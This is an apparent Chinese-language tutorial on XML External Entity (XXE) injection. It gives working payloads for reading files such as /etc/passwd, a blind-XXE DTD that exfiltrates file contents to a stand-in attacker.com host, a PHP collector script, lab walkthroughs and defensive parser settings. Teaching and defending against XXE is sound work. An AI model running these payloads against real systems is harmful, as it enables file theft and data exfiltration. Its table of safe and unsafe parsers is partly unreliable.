XXE漏洞攻击的溯源分析与实战


一、XML基础概念

1.1 XML是什么

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <user>
        <name>admin</name>
        <age>25</age>
    </user>
</root>

XML特点:

  • 可扩展标记语言,用于传输和存储数据
  • 标签可自定义
  • 严格的语法要求(标签必须闭合)

1.2 XML与HTML的区别

对比项 XML HTML
**设计目的** 传输和存储数据 显示数据
**标签** 自定义 预定义
**语法** 严格 宽松
**焦点** 数据内容 数据外观

1.3 常见XML应用场景

pom.xml(Maven配置文件):

复制代码
<project>
    <groupId>com.example</groupId>
    <artifactId>myproject</artifactId>
    <version>1.0.0</version>
</project>

web.xml(Java Web配置):

复制代码
<web-app>
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.example.HelloServlet</servlet-class>
    </servlet>
</web-app>

MyBatis配置(SQL映射):

复制代码
<select id="getUser" resultType="User">
    SELECT * FROM users WHERE id = #{id}
</select>

二、XXE漏洞原理

2.1 什么是XXE

XXE(XML External Entity Injection,XML外部实体注入)是一种Web安全漏洞,攻击者通过构造恶意XML,引用外部实体来读取服务器文件或执行其他操作。

攻击原理:

复制代码
┌─────────────────────────────────────────────────────────┐
│                    XXE攻击流程                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  攻击者 ──恶意XML──→ Web服务器 ──解析XML──→ 读取文件   │
│                                         ↓              │
│                                    执行外部实体         │
│                                                         │
└─────────────────────────────────────────────────────────┘

2.2 XXE文件读取攻击

基础Payload:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows路径:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>

2.3 无回显XXE(Blind XXE)

当服务器不直接返回文件内容时,需要使用外带通道:

第一步:准备DTD文件(放在攻击者服务器)

复制代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfiltrate;

第二步:构造恶意XML

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/malicious.dtd">
<foo>&exfiltrate;</foo>

第三步:接收数据的PHP脚本(get.php)

复制代码
<?php
$data = $_GET['data'];
file_put_contents('log.txt', $data . "\n", FILE_APPEND);
?>

三、XXE实战靶场

3.1 Pikachu靶场实战

1. 访问靶场:

复制代码
http://localhost/pikachu/vul/xxe/xxe_1.php

2. 准备测试文件:

复制代码
# 在桌面创建1.txt
echo "Hello XXE!" > /Users/xxx/Desktop/1.txt

3. 构造攻击Payload:

复制代码
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>

4. 将Payload粘贴到输入框提交,查看返回结果

3.2 xxe-lab靶场

1. 登录并截取请求包

2. 修改请求体为恶意XML:

复制代码
<?xml version="1.0"?>
<!DOCTYPE hack[
<!ENTITY admin SYSTEM "file:///var/www/html/admin.php">
]>
<user><username>&admin;</username><password>test</password></user>

3. 获取管理员密码


四、XXE综合案例

4.1 环境准备

复制代码
# 1. 设置网络环境
# 2. 登录目标系统
# 3. 端口扫描(查找开放服务)
nmap -sV 192.168.1.100

# 4. 目录扫描
dirsearch -u http://target.com -e php,xml

4.2 漏洞探测

复制代码
# 测试是否存在XXE
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY test "Hello">
]>
<root>&test;</root>

4.3 获取敏感文件

复制代码
# 读取配置文件
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<foo>&xxe;</foo>

4.4 解密FLAG

复制代码
# 获取到加密的FLAG后进行解密
# 第一次解密 -> 第二次解密 -> 获得最终FLAG

五、XXE漏洞防御

5.1 禁用外部实体(推荐)

PHP配置:

复制代码
// php.ini
libxml_disable_entity_loader(true);

Java配置:

复制代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python配置:

复制代码
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_content, parser)

5.2 输入验证

复制代码
# 只允许特定的标签和属性
allowed_tags = ['user', 'name', 'email']
allowed_attrs = []

# 验证XML结构

5.3 使用安全的XML解析库

语言 安全库 不安全库
PHP DOMDocument SimpleXML
Java DocumentBuilderFactory -
Python lxml (resolve_entities=False) xml.etree

六、总结

XXE要点

类型 说明
**原理** 通过XML外部实体注入读取文件
**危害** 读取敏感文件、内网探测、SSRF
**防御** 禁用外部实体、输入验证

学习建议

  1. 练习靶场: Pikachu、xxe-lab

  2. 掌握工具: Burp Suite、dirsearch

  3. 理解原理: XML解析机制、外部实体引用

  4. 防御意识: 服务端禁用外部实体

**安全提醒:** 本文仅供学习研究,请勿用于非法用途!

相关推荐
零零信安4 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手4 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub4 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux4 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc4 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing4 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei114 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x54 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工4 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot
X7x54 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型